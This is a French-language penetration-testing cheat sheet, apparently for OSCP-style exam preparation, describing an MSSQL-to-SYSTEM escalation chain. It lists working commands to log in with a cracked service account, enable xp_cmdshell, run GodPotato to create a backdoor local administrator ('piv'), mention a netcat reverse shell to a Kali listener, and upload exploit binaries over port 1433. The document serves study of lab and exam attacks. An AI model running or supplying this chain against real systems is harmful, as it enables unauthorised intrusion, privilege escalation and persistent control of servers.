MSSQL sysadmin → xp_cmdshell → SYSTEM (GodPotato)
sommaire
Chaîne complète
1) Connexion avec le compte de service cracké (Kerberoast)
impacket-mssqlclient oscp.exam/sql_svc:Password123@<IP> -windows-auth
2) Vérifier le rôle sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = sysadmin
3) Activer l’exécution de commandes
enable_xp_cmdshell -- macro intégrée à impacket-mssqlclient
xp_cmdshell whoami -- exécution OS
Équivalent SQL pur :
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';
4) ⚠ Sous quel compte tourne xp_cmdshell ?
Souvent nt service\mssql$<instance> (compte VIRTUEL) et non le compte de domaine : sur le réseau il s’authentifie comme compte MACHINE (SQL01$), pas comme sql_svc → les copies depuis un partage restreint aux ‘Domain Users’ échouent (Access denied).
5) SeImpersonatePrivilege → GodPotato
xp_cmdshell C:\Users\Public\gp.exe -cmd "cmd /c net user piv Passw0rd123! /add && net localgroup Administrators piv /add"
PrintSpoofer marche aussi (nc64.exe -e powershell vers Kali via listener ligolo).
6) Transfert de fichier quand la cible ne joint PAS Kali
nxc mssql <IP> -u sql_svc -p 'Password123' -d oscp.exam --put-file GodPotato-NET4.exe 'C:\Users\Public\gp.exe'
Le fichier transite dans le flux SQL (port 1433) : aucun partage SMB ni serveur HTTP à portée de la cible n’est nécessaire. Alternative : héberger un HTTP sur la machine pivot (SRV01) et curl depuis la cible interne.